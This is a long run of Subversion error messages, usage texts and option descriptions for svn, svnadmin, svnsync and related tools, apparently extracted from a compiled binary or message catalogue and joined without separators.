Incompatible library versionIncomplete dataIncomplete lock data returnedIncomplete or unterminated property blockInconsistent line ending styleIncorrect arguments suppliedIncorrect parameters givenIndexInitialization of SSPI library failedInput/output errorInquiry about unknown capabilityInter-repository relocation not allowedInternal error: there is an unknown parent (%d) for the 'DAV:response' element within the MERGE responseInvalid %s property on '%s': target '%s' is an absolute path or involves '..'Invalid 'conflict_result' argumentInvalid 'format' attributeInvalid URL '%s'Invalid URL: illegal character in proxy port numberInvalid URL: negative proxy port numberInvalid URL: proxy port number greater than maximum TCP port number 65535Invalid argument '%s' in diff optionsInvalid authz configurationInvalid change kind in rev fileInvalid change ordering: new node revision ID without deleteInvalid change ordering: non-add change on deleted pathInvalid change typeInvalid changes line in rev-fileInvalid character '%c' found in range listInvalid character '%c' found in revision listInvalid config: illegal character in debug mask valueInvalid config: illegal character in timeout valueInvalid config: negative timeout valueInvalid config: unable to load PKCS#11 provider '%s'Invalid config: unable to load certificate file '%s'Invalid config: unknown HTTP library '%s'Invalid config: unknown http authtype '%s'Invalid configuration valueInvalid control character '0x%02x' in path '%s'Invalid copy source path '%s'Invalid creation date header value in response.Invalid depth (%c) for path '%s'Invalid diff stream: [new] insn %d overflows the new data sectionInvalid diff stream: [src] insn %d overflows the source viewInvalid diff stream: [tgt] insn %d starts beyond the target view positionInvalid diff stream: insn %d cannot be decodedInvalid diff stream: insn %d has non-positive lengthInvalid diff stream: insn %d overflows the target viewInvalid editor anchoring; at least one of the input paths is not a directory and there was no source entryInvalid end revision %ldInvalid entry terminatorInvalid escape sequenceInvalid escaped characterInvalid file or dir token during editInvalid filesystem path syntaxInvalid filesystem revision numberInvalid filesystem transaction nameInvalid length (%%%s) when about to read a stringInvalid lockInvalid operation on the current working directoryInvalid option.

Invalid option; cannot choose based on conflicts for properties.

Invalid option; cannot choose based on conflicts in a binary file.

Invalid option; cannot display conflicts for a binary file.

Invalid option; cannot display conflicts for properties.

Invalid option; original files not available.

Invalid option; there's no merged version to diff.

Invalid option; there's no merged version to edit.

Invalid prop-mod flag in rev-fileInvalid relocationInvalid report for top level of working copyInvalid revision number '%ld'Invalid revision number (%ld)Invalid revision number found parsing '%s'Invalid revision number suppliedInvalid revision specifierInvalid scheduleInvalid server response to dated-rev requestInvalid start revision %ldInvalid switchInvalid target pathInvalid text-mod flag in rev-fileInvalid timeout valueInvalid value (%%%s) for node revision mergeinfo countInvalid value for field '%s'Invalid version line in entries file of '%s'Item already exists in filesystemItem is not readableItem is not writableItem is out of dateItem is partially readableIteration terminated before completionKindless noderev in cacheLast Changed Author: %s
Last Changed DateLast Changed Rev: %ld
Left locally modified or unversioned filesLine endings other than expectedList all properties on files, dirs, or revisions.
usage: 1. proplist [TARGET[@REV]...]
       2. proplist --revprop -r REV [TARGET]

  1. Lists versioned props. If specified, REV determines in which
     revision the target is first looked up.
  2. Lists unversioned remote props on repos revision.
     TARGET only determines which repository to access.
List directory entries in the repository.
usage: list [TARGET[@REV]...]

  List each TARGET file and the contents of each TARGET directory as
  they exist in the repository.  If TARGET is a working copy path, the
  corresponding repository URL will be used. If specified, REV determines
  in which revision the target is first looked up.

  The default TARGET is '.', meaning the repository URL of the current
  working directory.

  With --verbose, the following fields will be shown for each item:

    Revision number of the last commit
    Author of the last commit
    If locked, the letter 'O'.  (Use 'svn info URL' to see details)
    Size (in bytes)
    Date and time of the last commit
Local URL '%s' contains only a hostname, no pathLocal URL '%s' contains unsupported hostnameLocal URL '%s' does not contain 'file://' prefixLocal, non-commit operations do not take a log message or revision propertiesLocation entry not a listLocation segment entry not a listLockLock CreatedLock ExpiresLock Owner: %s
Lock Token: %s
Lock comment contains a zero byteLock comment contains illegal charactersLock comment file is a versioned file; use '--force-log' to overrideLock element not a listLock failed: newer version of '%s' existsLock file '%s' is not a regular fileLock has expiredLock request failed: %d %sLock response not a listLock token is incorrectLock working copy paths or URLs in the repository, so that
no other user can commit changes to them.
usage: lock TARGET...

  Use --force to steal the lock from another user or working copy.
Log command for directory '%s' is mislocatedLog entry missing 'name' attribute (entry '%s' for directory '%s')Log entry not a listLog message contains a zero byteLog message file is a versioned file; use '--force-log' to overrideLog path entry not a stringLog revprop entry not a stringMD5 checksum is missingMIME type '%s' contains invalid character '%c'MIME type '%s' does not contain '/'MIME type '%s' has empty media typeMalformed URL for repositoryMalformed UUID '%s'Malformed XML: %s at line %ldMalformed copyfrom line in node-revMalformed copyroot line in node-revMalformed dumpfile headerMalformed dumpstream: Revision 0 must not contain node recordsMalformed error listMalformed fileMalformed network dataMalformed representation headerMalformed skeleton dataMalformed stream dataMalformed svndiff data in representationMalformed text rep offset line in node-revMerge conflict during commitMerge from foreign repository is not compatible with mergeinfo modificationMerge source requiredMerged via:Mergeinfo element is not a listMergeinfo for '%s' maps to an empty revision rangeMergeinfo parse errorMismatch popping the WC unwind stackMismatched FS module version for '%s': found %d.%d.%d%s, expected %d.%d.%d%sMismatched RA version for '%s': found %d.%d.%d%s, expected %d.%d.%d%sMissing 'dest' attribute in '%s'Missing 'left' attribute in '%s'Missing 'revision' attribute for '%s'Missing 'right' attribute in '%s'Missing 'timestamp' attribute in '%s'Missing changed-path information for '%s' in revision %ldMissing copyfrom-rev attr in add-directory elementMissing copyfrom-rev attr in add-file elementMissing cpath in node-revMissing default entryMissing end of line in wcprops file for '%s'Missing entry terminatorMissing id field in node-revMissing kind field in node-revMissing merge source path '%s'; try with --skip-missing-merge-sourcesMissing name attr in %s elementMissing name attr in absent-directory elementMissing name attr in absent-file elementMissing name attr in add-directory elementMissing name attr in add-file elementMissing name attr in delete-entry elementMissing name attr in open-directory elementMissing name attr in open-file elementMissing name attr in remove-prop elementMissing name attr in revprop elementMissing name attr in set-prop elementMissing node-id in node-revMissing path argumentMissing path attr in resource elementMissing propname and repository path argumentsMissing propname argumentMissing propname or repository path argumentMissing repository path argumentMissing required node revision IDMissing required revision specificationMissing rev attr in open-directory elementMissing rev attr in open-file elementMissing rev attr in target-revision elementMissing revisionMissing revision attr in delete-entry elementMissing revision attr in open-directory elementMissing revision attr in open-file elementMissing revision attr in open-root elementMissing revision attr in target-revision elementModifiedModified: %s
Modified: %s%sModule for accessing a repository on local disk.Module for accessing a repository using the svn network protocol.Module for accessing a repository using the svn network protocol.
  - with Cyrus SASL authenticationModule for accessing a repository via WebDAV protocol using Neon.Module for accessing a repository via WebDAV protocol using serf.Module for working with a Berkeley DB repository.Module for working with a plain file (FSFS) repository.Move and/or rename something in working copy or repository.
usage: move SRC... DST

When moving multiple sources, they will be added as children of DST,
which must be a directory.

  Note:  this subcommand is equivalent to a 'copy' and 'delete'.
  Note:  the --revision option has no use and is deprecated.

  SRC and DST can both be working copy (WC) paths or URLs:
    WC  -> WC:   move and schedule for addition (with history)
    URL -> URL:  complete server-side rename.
  All the SRCs must be of the same type.
Moves between the working copy and the repository are not supportedMoving a path from one changelist to anotherMultiple revision arguments encountered; can't specify -c twice, or both -c and -rMultiple revision arguments encountered; try '-r N:M' instead of '-r N -r M'Must specify host and port for memcache server '%s'Must specify the revision as a number, a date or 'HEAD' when operating on a revision propertyMutually exclusive arguments specifiedName does not refer to a filesystem directoryName does not refer to a filesystem fileName is not a single path componentName: %s
Negative expiration date passed to svn_fs_lockNegative revision number found parsing '%s'Neon was unable to parse URL '%s'Network connection closed unexpectedlyNetwork read/write errorNetwork socket initialization failedNew entry name required when importing a fileNo '.' entry in: '%s'No auth file path availableNo authentication provider availableNo changes to property '%s' on '%s'
No changes to property '%s' on revision %ld
No commits in repositoryNo common parent found, unable to operate on disjoint argumentsNo copy with id '%s' in filesystem '%s'No created pathNo default entry in directory '%s'No editor found.No editor found; leaving all conflicts.No external editor availableNo external merge tool availableNo fetch_func supplied to update_editorNo lock on path '%s' in filesystem '%s'No lock token providedNo merge tool found.
No merge tool found; leaving all conflicts.No part of path '%s' was found in repository HEADNo paths to unlock providedNo record in 'node-origins' table for node id '%s' in filesystem '%s'No such XML tag attributeNo such entry: '%s'No such representation '%s'No such revision %ldNo such revision %ld in filesystem '%s'No such transactionNo token given for path '%s' in filesystem '%s'No transaction named '%s' in filesystem '%s'No user associated with filesystemNo username is currently associated with filesystem '%s'No valid copyfrom revision in filtered streamNo valid revision range 'end' in filtered streamNo valid revision range 'start' in filtered streamNo versioned parent directoriesNo write-lock in '%s'Node Kind: directory
Node Kind: file
Node Kind: none
Node Kind: unknown
Node origin for '%s' exists in filesystem '%s' with a different value (%s) than what we were about to store (%s)Node origin for '%s' exists with a different value (%s) than what we were about to store (%s)Node-revision #'%s' claims to have mergeinfo but doesn'tNode-revision '%s' claims to have mergeinfo but doesn'tNode-revision '%s' claims to sit atop a tree containing mergeinfo but is not a directoryNode-revision '%s@%ld' claims to have mergeinfo but doesn'tNon-ASCII character (code %d) detected, and unable to convert to/from UTF-8Non-numeric change argument (%s) given to -cNon-numeric limit argument givenNon-string as part of file contentsNone of the environment variables SVN_EDITOR, VISUAL or EDITOR are set, and no 'editor-cmd' run-time configuration option was foundNot all required revisions are specifiedNot authorized to open root of edit operationNot enough arguments givenNot enough arguments providedNull rep, but offset past zero alreadyNumber is larger than maximumObject is not a revision rootObject is not a transaction rootObstructed updateOne or more conflicts were produced while merging r%ld:%ld into
'%s' --
resolve all conflicts and rerun the merge to apply the remaining
unmerged revisionsOnly diffs between a path's text-base and its working files are supported at this timeOnly one revision allowedOnly relative paths can be specified after a URLOperation does not apply to binary fileOperation does not apply to directoryOperation does not support multiple sourcesOption --tunnel-user is only valid in tunnel mode.
Output the content of specified files or
URLs with revision and author information in-line.
usage: blame TARGET[@REV]...

  If specified, REV determines in which revision the target is first
  looked up.
Output the content of specified files or URLs.
usage: cat TARGET[@REV]...

  If specified, REV determines in which revision the target is first
  looked up.
Owner: %s
PIN for token "%s" in slot "%s"Passphrase for '%s': Password for '%s': Path '%s' already existsPath '%s' does not existPath '%s' does not exist in revision %ldPath '%s' doesn't exist in HEAD revisionPath '%s' doesn't exist in revision %ldPath '%s' ends in '%s', which is unsupported for this operationPath '%s' has no committed revisionPath '%s' is already locked by user '%s' in filesystem '%s'Path '%s' is no longer a member of a changelist.
Path '%s' is not a URLPath '%s' is not a directoryPath '%s' is not a filePath '%s' is not in the working copyPath '%s' is now a member of changelist '%s'.
Path '%s' isn't locked.
Path '%s' must be an immediate child of the directory '%s'Path '%s' not found in head revisionPath '%s' not found in revision %ldPath '%s' not presentPath has no lock tokenPath is already lockedPath is not a stringPath is not a working copy directoryPath is not a working copy filePath is not an immediate child of the specified directoryPath is not lockedPath syntax not supported in this contextPath: %s
Pathname not terminated by ':'Please type 'yes' or 'no': Premature EOF seen from serverPremature end of content data in dumpstreamProblem on first log entry in a working copyProblem running logProcess '%s' failed (exitwhy %d)Process '%s' returned error exitcode %dProp diffs element not a listProperties on '%s':
Property '%s' is an entry propertyProperty '%s' is not a regular propertyProperty '%s' not found on path '%s' in revision %ldProperty '%s' not found on path '%s' in transaction %sProperty '%s' not found on revision %ldProperty not foundProplist element not a listProtocol error: the MERGE response for the '%s' resource did not return all of the properties that we asked for (and need to complete the commit)Protocol error: we told the server not to auto-merge any resources, but it said that '%s' was mergedPut files and directories under version control, scheduling
them for addition to repository.  They will be added in next commit.
usage: add PATH...
Python exception has been set with the errorQuerying mergeinfo requires version %d of the FSFS filesystem schema; filesystem '%s' uses only version %dRA layer didn't receive requested OPTIONS infoRA layer failed to create HTTP requestRA layer failed to fetch propertiesRA layer failed to init socket layerRA layer file already existsRA layer request failedREPORT response handling failed to complete the editor driveREVISION   PATH
--------   ----
REVISION   PATH <ID>
--------   ---------
Ran out of unique namesRange list parsing ended before hitting newlineRead access denied for root of editRead error in pipeReading '%s'Reading from stdin is disallowedReading one svndiff window read beyond the end of the representationRecovery encountered a deltified directory representationRecovery encountered a non-directory nodeRecursively clean up the working copy, removing locks, resuming
unfinished operations, etc.
usage: cleanup [PATH...]
Reference to non-existent node '%s' in filesystem '%s'Relative source revision %ld is not available in current repositoryRelocate can only change the repository part of an URLRemove 'conflicted' state on working copy files or directories.
usage: resolved PATH...

  Note:  this subcommand does not semantically resolve conflicts or
  remove conflict markers; it merely removes the conflict-related
  artifact files and allows PATH to be committed again.  It has been
  deprecated in favor of running 'svn resolve --accept working'.
Remove a property from files, dirs, or revisions.
usage: 1. propdel PROPNAME [PATH...]
       2. propdel PROPNAME --revprop -r REV [TARGET]

  1. Removes versioned props in working copy.
  2. Removes unversioned remote prop on repos revision.
     TARGET only determines which repository to access.
Remove files and directories from version control.
usage: 1. delete PATH...
       2. delete URL...

  1. Each item specified by a PATH is scheduled for deletion upon
    the next commit.  Files, and directories that have not been
    committed, are immediately removed from the working copy
    unless the --keep-local option is given.
    PATHs that are, or contain, unversioned or modified items will
    not be removed unless the --force option is given.

  2. Each item specified by a URL is deleted from the repository
    via an immediate commit.
Remove revisions emptied by filtering.Removed lock on '%s'.
Removing '%s' from changelist '%s'.Renumber revisions left after filtering.Rep '%s' both mutable and non-fulltextRep '%s' is not mutableRep contents are too large: got %s, limit is %sReplacing      %s
Repository Root: %s
Repository URL required when importingRepository UUID '%s' doesn't match expected UUID '%s'Repository UUID does not match expected UUIDRepository UUID: %s
Repository access is needed for this operationRepository access method not implementedRepository argument requiredRepository argument required
Repository creation failedRepository has been movedRepository has no UUIDRepository has not been enabled to accept revision propchanges;
ask the administrator to create a pre-revprop-change hookRepository lock acquired.
Please wait; recovering the repository may take some time...
Repository lock acquired.
Please wait; upgrading the repository may take some time...
Repository moved permanently to '%s'; please relocateRepository moved temporarily to '%s'; please relocateRepository upgrade is not supportedRepresentation is being writtenRepresentation is not of type 'delta'Request depth 'exclude' not supportedReserved directory name in command line argumentsResolved conflicted state of '%s'
Restore pristine working copy file (undo most local edits).
usage: revert PATH...

  Note:  this subcommand does not require network access, and resolves
  any conflicted states.  However, it does not restore removed directories.
Restored '%s'
Retrieval of mergeinfo unsupported by '%s'Reverted '%s'
Revision %ld committed as %ld.
Revision %ld doesn't match existing revision %ld in '%s'Revision %ld has a non-file where its revprops file should beRevision %ld has a revs file but no revprops fileRevision %ld skipped.
Revision being currently copied (%ld), last merged revision (%ld), and destination HEAD (%ld) are inconsistent; have you committed to the destination without using svnsync?Revision entry not a listRevision file lacks trailing newlineRevision property '%s' not allowed in this contextRevision property pair is emptyRevision range is not allowedRevision type requires a working copy path, not a URLRevision: %ld
Revisions must not be greater than the youngest revision (%ld)Revisions renumbered as follows:
Revprop changeRoot object must be a transaction rootSQLite errorSSL is not supportedSafe data '%s' was followed by non-ASCII byte %d: unable to convert to/from UTF-8Schedule: add
Schedule: delete
Schedule: normal
Schedule: replace
Scope not allowed in memcache server '%s'Second revision requiredSelect: (p) postponeSelect: (p) postpone, (mf) mine-full, (tf) theirs-full, (h) help:Send changes from your working copy to the repository.
usage: commit [PATH...]

  A log message must be provided, but it can be empty.  If it is not
  given by a --message or --file option, an editor will be started.
  If any targets are (or contain) locked items, those will be
  unlocked after a successful commit.
Sending        %s
Server SSL certificate untrustedServer can only replay from the root of a repositoryServer did not send repository rootServer does not support custom revprops via logServer does not support date-based operationsServer does not support edit pipeliningServer does not support locking featuresServer does not support retrieving information about the repository rootServer doesn't support setting arbitrary revision properties during commitServer doesn't support the get-lock commandServer doesn't support the lock commandServer doesn't support the replay commandServer doesn't support the replay-range commandServer doesn't support the unlock commandServer only supports versions up to %dServer requires minimum version %dServer response missing the expected deadprop-count propertyServer sent unexpected return value (%d %s) in response to %s request for '%s'Session is rooted at '%s' but the repos root is '%s'Set new value for property '%s' on '%s'
Set new value for property '%s' on revision %ld
Setting property '%s' on non-local target '%s' is not supportedSetting property on non-local target '%s' needs a base revisionSetting property recursively on non-local target '%s' is not supportedSize of uncompressed data does not match stored original lengthSkip missing merge sources.Skipped '%s'
Skipped missing target: '%s'
Skipping binary file: '%s'
Something is wrong with the log message's contentsSorry, svn_client_diff4 was called in a way that is not yet supportedSource '%s' is not a directorySource URL '%s' is from foreign repository; leaving it as a disjoint WCSource and dest appear not to be in the same repository (src: '%s'; dst: '%s')Source url '%s' is from different repositorySpecial code for wrapping server errors to report to clientStandard properties can't be set explicitly as revision propertiesStart revision %ld is greater than end revision %ldStart revision must precede end revisionStatus against revision: %6ld
Storage of non-regular property '%s' is disallowed through the repository interface, and could indicate a bug in your clientStore password unencrypted (yes/no)? String does not represent a node or node-rev-idString length larger than maximumSubcommand '%s' doesn't accept option '%s'
Type 'svn help %s' for usage.
Subcommand '%s' doesn't accept option '%s'
Type 'svnadmin help %s' for usage.
Subcommand '%s' doesn't accept option '%s'
Type 'svndumpfilter help %s' for usage.
Subcommand '%s' doesn't accept option '%s'
Type 'svnlook help %s' for usage.
Subcommand '%s' doesn't accept option '%s'
Type 'svnsync help %s' for usage.
Subcommand argument required
Subversion is a tool for version control.
For additional information, see http://subversion.tigris.org/
Successful edit status returned too soonSuccessor id '%s' (for '%s') already exists in filesystem '%s'Sum of subblock sizes larger than total block content lengthSummarizing diff can only compare repository to repositorySvndiff compressed data is invalidSvndiff contains corrupt window headerSvndiff data contains backward-sliding source viewSvndiff data contains corrupt windowSvndiff data contains invalid instructionSvndiff data ends unexpectedlySvndiff data has invalid headerSvndiff has backwards-sliding source viewsSvndiff has invalid headerSvndiff source length inconsistencySymbolic links are not supported on this platformSyntax error in native-eol argument '%s'Syntax error in revision argument '%s'Syntax error parsing revision '%s'Target lists to diff may not contain both working copy paths and URLsTest failedTest skippedText Last UpdatedText delta chunk not a stringThe %s request returned invalid XML in the response: %s (%s)The '%s' feature requires version %d of the filesystem schema; filesystem '%s' uses only version %dThe CHECKOUT response did not contain a 'Location:' headerThe EDITOR, SVN_EDITOR or VISUAL environment variable or 'editor-cmd' run-time configuration option is empty or consists solely of whitespace. Expected a shell command.The MERGE property response had an error statusThe OPTIONS response did not include the requested activity-collection-set valueThe OPTIONS response did not include the requested activity-collection-set; this often means that the URL is not WebDAV-enabledThe OPTIONS response did not include the requested baseline-collection valueThe OPTIONS response did not include the requested checked-in valueThe OPTIONS response did not include the requested resourcetype valueThe OPTIONS response did not include the requested version-controlled-configuration valueThe OPTIONS response did not include the requested version-name valueThe PROPFIND response did not include the requested resourcetype valueThe SVN_MERGE environment variable is empty or consists solely of whitespace. Expected a shell command.
The URL '%s' has a different repository root than its parentThe UUID property was not found on the resource or any of its parentsThe VCC property was not found on the resourceThe environment variable SVN_MERGE and the merge-tool-cmd run-time configuration option were not set.
The file '%s' changed unexpectedly during diffThe file-revs report didn't contain any revisionsThe following repository access (RA) modules are available:

The following repository back-end (FS) modules are available:

The generated transaction name is too longThe get-file-revs command didn't return any revisionsThe latest repos revision is %ld.
The location for '%s' for revision %ld does not exist in the repository or refers to an unrelated objectThe lock comment is a pathname (was -F intended?); use '--force-log' to overrideThe log message file is under version controlThe log message is a pathnameThe log message is a pathname (was -F intended?); use '--force-log' to overrideThe operation was interruptedThe path was not part of a repositoryThe relative-path property was not found on the resourceThe repository at '%s' has uuid '%s', but the WC has '%s'The repository is locked, perhaps for db recoveryThe request response contained at least one errorThe response contains a non-conforming HTTP status lineThe root directory cannot be deletedThe service failed to startThe service failed to start; an internal error occurred while starting the serviceThe specified diff option is not supportedThe specified transaction is not mutableThere is already a versioned item '%s'There is no change 0They want to change the property value to '%s', you want to delete the property.
They want to delete the property, you want to change the value to '%s'.
This client is too old to work with working copy '%s'.  You need
to get a newer Subversion client, or to downgrade this working copy.
See http://subversion.tigris.org/faq.html#working-copy-format-change
for details.This is an empty revision for padding.To turn off the %s property, use 'svn propdel';
setting the property to '%s' will not turn it off.Token '%s' does not point to any existing lock in filesystem '%s'Too many arguments givenToo many arguments to import commandToo many nested itemsTransaction '%s' is not based on a revision; how oddTransaction '%s' out-of-date with respect to revision '%s'Transaction '%s' removed.
Transaction aborted, but cleanup failedTransaction cleanup failedTransaction is deadTransaction is dead: '%s'Transaction is not deadTransaction is not dead: '%s'Transaction is out of dateTransaction out of dateTransmitting file data Traversal of '%s' found no ambient depthTried a versioning operation on an unversioned resourceTried to change an immutable representationTry 'svn add' or 'svn add --non-recursive' instead?Try 'svn help' for more infoTry 'svn mkdir --parents' instead?Try 'svn revert --depth infinity' instead?Try 'svnadmin help' for more infoTry 'svndumpfilter help' for more infoTry 'svnlook help' for more infoTry 'svnsync help' for more infoTrying to add new property '%s' with value '%s',
but property already exists with value '%s'.Trying to change property '%s' from '%s' to '%s',
but it has been locally deleted.Trying to change property '%s' from '%s' to '%s',
but property already exists with value '%s'.Trying to change property '%s' from '%s' to '%s',
but property has been locally added with value '%s'.Trying to change property '%s' from '%s' to '%s',
but the property does not exist.Trying to create property '%s' with value '%s',
but it has been locally deleted.Trying to delete property '%s' with value '%s'
but it has been modified from '%s' to '%s'.Trying to delete property '%s' with value '%s'
but the local value is '%s'.Trying to use an unsupported featureTunnel scheme %s requires environment variable %s to be definedTwo top-level reports with no targetTwo versioned resources are unrelatedType '%s --help' for usage.
Type '%s help' for usage.
Type 'svnversion --help' for usage.
URL '%s' contains a '..' elementURL '%s' does not begin with a schemeURL '%s' doesn't existURL '%s' doesn't match existing URL '%s' in '%s'URL '%s' is not a child of repository root URL '%s'URL '%s' is not a child of the session's repository root URL '%s'URL '%s' is not properly URI-encodedURL '%s' non-existent in revision %ldURL '%s' non-existent in that revisionURL '%s' refers to a directoryURL '%s' refers to a file, not a directoryURL has no scheme: '%s'URL: %s
URLs have no scheme ('%s' and '%s')UUID Token: %s
Unable to check path existence for '%s'Unable to create transaction directory in '%s' for revision %ldUnable to extract data from response headerUnable to find repository location for '%s' in revision %ldUnable to locate auth fileUnable to lock '%s'Unable to lock/unlock across multiple repositoriesUnable to make any directoriesUnable to make name for '%s'Unable to open an ra_local session to URLUnable to open auth file for readingUnable to open auth file for writingUnable to open repository '%s'Unable to open root of editUnable to parse URL '%s'Unable to parse reversed revision range '%ld-%ld'Unable to parse revision range '%ld-%ld' with same start and end revisionsUndefined tunnel scheme '%s'Unexpected EOF on streamUnexpected EOF writing contentsUnexpected end of entryUnexpected end of svndiff inputUnexpected immutable node at '%s'Unexpected node kind %d for '%s'Unexpected node kind foundUnexpected or unknown property kindUnexpected server response to authenticationUnexpectedly found '%s': path is marked 'missing'Unknown FS typeUnknown FS type '%s'Unknown XML encoding: '%s'Unknown authorization methodUnknown changelistUnknown command '%s'Unknown command: '%s'
Unknown entry kind for '%s'Unknown error adding server to memcacheUnknown error creating apr_memcache_tUnknown error creating memcache serverUnknown hostname '%s'Unknown kind for noderev in cache: '%c'Unknown memcached error while readingUnknown memcached error while writingUnknown node kind for '%s'Unknown node kind for representation '%s'Unknown node type in cache: '%c'Unknown or unexpected kind for path '%s'Unknown or unversionable type for '%s'Unknown revprop word '%s' in log commandUnknown status '%s' in command responseUnknown status for lock commandUnknown status for unlock commandUnknown svn protocol commandUnknown svn_node_kindUnlockUnlock request failed: %d %sUnlock response not a listUnlock succeeded, but post-unlock hook failedUnlock working copy paths or URLs.
usage: unlock TARGET...

  Use --force to break the lock.
Unmergeable scheduling requested on an entryUnreadable path encountered; access deniedUnrecognized URL scheme '%s'Unrecognized URL scheme for '%s'Unrecognized binary data encoding; can't decodeUnrecognized line ending styleUnrecognized line ending style for '%s'Unrecognized logfile element '%s' in '%s'Unrecognized node kind: '%s'Unrecognized node-action on node '%s'Unrecognized record type in streamUnrecognized revision type requested for '%s'Unrecognized stream dataUnspecified error messageUnsupported FS formatUnsupported FS loader version (%d) for bdbUnsupported FS loader version (%d) for fsfsUnsupported RA loader version (%d) for ra_localUnsupported RA loader version (%d) for ra_neonUnsupported RA loader version (%d) for ra_serfUnsupported RA loader version (%d) for ra_svnUnsupported RA plugin ABI versionUnsupported dumpfile version: %dUnsupported node kind for path '%s'Unsupported report depth '%s'Unsupported repository versionUnsupported working copy formatUnterminated ID in cacheUnversioned properties on revision %ld:
Update complete.
Updated external to revision %ld.
Updated to revision %ld.
Upgrade of this repository is not supported; consider dumping and loading the data elsewhereUpgrade of this repository's underlying versioned filesystem is not supported; consider dumping and loading the data elsewhereUse --force to override this restrictionUse of two URLs is not compatible with mergeinfo modificationUser %s does not own lock on path '%s' (currently locked by %s)User '%s' is trying to use a lock owned by '%s' in filesystem '%s'Username does not match lock ownerUsername: Valid UTF-8 data
(hex:%s)
followed by invalid UTF-8 sequence
(hex:%s)Value will not be set unless forcedVersion file format not correctVersion mismatch in '%s': found %d.%d.%d%s, expected %d.%d.%d%sWARNING: Referencing data in revision %ld, which is older than the oldest
WARNING: dumped revision (%ld).  Loading this dump into an empty repository
WARNING: will fail.
Waiting on repository lock; perhaps another process has it open?
When specifying working copy paths, only one target may be givenWhile preparing '%s' for commitWindows service mode (Service Control Manager)Working copy '%s' is not lockedWorking copy '%s' lockedWorking copy and merge source not ready for reintegrationWorking copy format of '%s' is too old (%d); please check out your working copy againWorking copy is corruptWorking copy is not up-to-dateWorking copy not locked; this is probably a bug, please reportWorking copy path '%s' does not exist in repositoryWorking copy text base is corruptWrite denied:  not authorized to read all of revision %ldWrite errorWrite-lock stolen in '%s'Wrong number of targets specifiedWrong or unexpected property valueXML data was not well-formedXML parser failed in '%s'You must specify exactly one of -d, -i, -t or -X.
You must specify exactly one of -d, -i, -t, --service or -X.
Your .svn/tmp directory may be missing or corrupt; run 'svn cleanup' and try againYour commit message was left in a temporary file:[Error output could not be read.][Error output could not be translated from the native locale to UTF-8.]add intermediate parentsallocating new copy ID (getting 'next-key')allocating new node ID (getting 'next-key')allocating new representation (getting next-key)apr memcache library not availableauthorization failedauthorization failed: %sbe verboseblame of the WORKING revision is not supportedbumping next copy keybumping next node ID keybumping next representation keybypass the repository hook systemcall hook after changing revision propertycall hook before changing revision propertycall post-commit hook after committing revisionscall pre-commit hook before committing revisionscannot assign with 'with-revprop' option (drop the '=')closing changes cursorconnect to source repository with password ARGconnect to source repository with username ARGconnect to sync repository with password ARGconnect to sync repository with username ARGcould not connect to servercreating changecreating cursor for reading a stringcreating cursor for reading changesdaemon modedeleting changesdeleting entry from 'copies' tabledeleting entry from 'nodes' tabledeleting representationdescend recursively, same as --depth=infinitydisable automatic log file removal [Berkeley DB]disable automatic propertiesdisable fsync at transaction commit [Berkeley DB]display this helpdisplay update informationdisregard default and svn:ignore property ignoresdo no interactive promptingdo not cache authentication tokensdo not cross copies while traversing historydo not output the trailing newlinedo not print differences for added filesdo not print differences for deleted filesdon't delete changelists after commitdon't unlock the targetsdone.
dump incrementallyenable automatic propertiesexported%sfetching changesforce operation to runforce read only, overriding repository config fileforce validity of lock comment sourceforce validity of log message sourcegeneral usage: svnadmin SUBCOMMAND REPOS_PATH  [ARGS & OPTIONS ...]
Type 'svnadmin help <subcommand>' for help on a specific subcommand.
Type 'svnadmin --version' to see the program version and FS modules.

Available subcommands:
general usage: svndumpfilter SUBCOMMAND [ARGS & OPTIONS ...]
Type 'svndumpfilter help <subcommand>' for help on a specific subcommand.
Type 'svndumpfilter --version' to see the program version.

Available subcommands:
general usage: svnlook SUBCOMMAND REPOS_PATH [ARGS & OPTIONS ...]
Note: any subcommand which takes the '--revision' and '--transaction'
      options will, if invoked without one of those options, act on
      the repository's youngest revision.
Type 'svnlook help <subcommand>' for help on a specific subcommand.
Type 'svnlook --version' to see the program version and FS modules.

Available subcommands:
general usage: svnsync SUBCOMMAND DEST_URL  [ARGS & OPTIONS ...]
Type 'svnsync help <subcommand>' for help on a specific subcommand.
Type 'svnsync --version' to see the program version and RA modules.

Available subcommands:
get repository uuidgive output suitable for concatenationignore ancestry when calculating mergesignore any repos UUID found in the streamignore externals definitionsinetd modeinvalid 'accept' ARGkeep path in working copylast changed rather than current revisionslimit operation by depth ARG ('empty', 'files',
                            'immediates', or 'infinity')listen hostname or IP address
                             [mode: daemon, listen-once]listen hostname or IP address
                             [mode: daemon, service, listen-once]listen port
                             [mode: daemon, listen-once]listen port
                             [mode: daemon, service, listen-once]listen-once mode (useful for debugging)load at specified directory in repositorylump-merge all of source URL's unmerged changesmake intermediate directoriesmark revisions as merged (use with -r)maximum number of history entriesmaximum number of log entriesmissing --accept optionnext-id file corruptnono progress (only errors) to stderrnotice ancestry when calculating differencesobsolete; try --depth=files or --depth=immediatesoperate on a revision property (use with -r or -t)operate on a revision property (use with -r)operate on single directory onlyoperate only on members of changelist ARG
                             [aliases: --cl]output in XMLpass contents of file ARG as additional argsprint as little as possibleprint differences against the copy sourceprint extra informationprint nothing, or only summary informationproperty '%s' deleted from '%s'.
property '%s' deleted from repository revision %ld
property '%s' set on '%s'
property '%s' set on repository revision %ld
read configuration from file ARGread lock comment from file ARGread log message from file ARGread property value from file ARGread user configuration files from directory ARGreading copyreading filesystem revisionreading node revisionreading representationrelocate via URL-rewritingremove changelist associationremove redundant Berkeley DB log files
                             from source repository [Berkeley DB]retrieve all revision propertiesretrieve revision property ARGrevprop '%s' in r%ld has unexpected value in repository (maybe someone else changed it?)revprop '%s' in r%ld is unexpectedly absent in repository (maybe someone else deleted it?)revprop '%s' in r%ld is unexpectedly present in repository (maybe someone else set it?)root of directory to serverun in foreground (useful for debugging)
                             [mode: daemon]set repos UUID to that found in stream, if anyset repository uuidset revision property ARG in new revision
                             using the name[=value] formatshow a summary of the resultsshow details for copiesshow full paths instead of indenting themshow help on a subcommandshow node revision ids for each pathshow program version informationspecify a password ARGspecify a password ARG (deprecated;
                             see --source-password and --sync-password)specify a username ARGspecify a username ARG (deprecated;
                             see --source-username and --sync-username)specify lock comment ARGspecify log message ARGspecify revision number ARGspecify revision number ARG (or X:Y range)specify transaction name ARGspecify which collection of revisions to display
                             ('merged', 'eligible')storing copy recordstoring node revisionstoring node-origins recordstoring representationstoring transaction recordsubcommand argument required
svn: run 'svn cleanup' to remove locks (type 'svn help cleanup' for details)
